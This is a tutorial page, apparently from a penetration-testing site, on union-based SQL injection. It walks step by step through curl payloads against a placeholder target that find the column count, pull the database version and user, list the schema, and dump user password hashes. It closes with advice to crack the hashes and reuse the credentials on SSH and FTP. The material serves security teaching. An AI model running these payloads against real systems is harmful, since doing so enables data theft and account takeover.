Skip to content
HackIndex logo

HackIndex

Union-Based SQL Injection Exploitation

3 min read Mar 28, 2026

Union-based SQL injection appends a UNION SELECT statement to the original query to retrieve data from other tables. It requires the query results to be reflected in the HTTP response and the injected SELECT to match the column count and data types of the original query. This is the fastest extraction method when it works.

Determine Column Count

The UNION SELECT must match the original query's column count exactly. Use ORDER BY to find the column count without needing to know it — increment until you get an error:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 1--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 4--" | grep -i 'error\|unknown column'
Unknown column '4' in 'order clause'

An error on ORDER BY 4 but not on ORDER BY 3 means the query has 3 columns. Now find which columns are reflected in the response by injecting null values:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,NULL,NULL--" | grep -iE 'null|error'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT 'COLTEST1','COLTEST2','COLTEST3'--" | grep 'COLTEST'
Product: COLTEST2 | Description: COLTEST3

Columns 2 and 3 are reflected. Use these positions for data extraction. Set id=0 to make the original query return no rows so only UNION results appear.

Extract Database Metadata

With reflected columns identified, pull database version, current user, and database name:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version(),user()--" | grep -oE 'COLTEST[0-9]|[0-9]+\.[0-9]+\.[0-9]+|@[a-z]+'
5.7.33-0ubuntu0
root@localhost
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(schema_name),NULL FROM information_schema.schemata--" | grep -oE 'information_schema|[a-z_]+'
information_schema,webapp,mysql

Extract Tables and Columns

Enumerate the application database schema:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema='webapp'--"
users,products,orders,sessions
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--"
id,username,password,email,role

Dump Credentials

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--"
admin:5f4dcc3b5aa765d61d8327deb882cf99
editor:8d3533d75ae2c3966d7e0d4fcc69216b

MD5 hashes — crack with hashcat mode 0. Pass cracked credentials back into the login page and test for reuse across SSH, FTP, and other services on the target.

Comment Syntax by Database

Comment style varies by database. Use the correct terminator for the target:

Database

Comment

MySQL

-- (space after) or #

MSSQL

--

Oracle

--

PostgreSQL

--

SQLite

--

References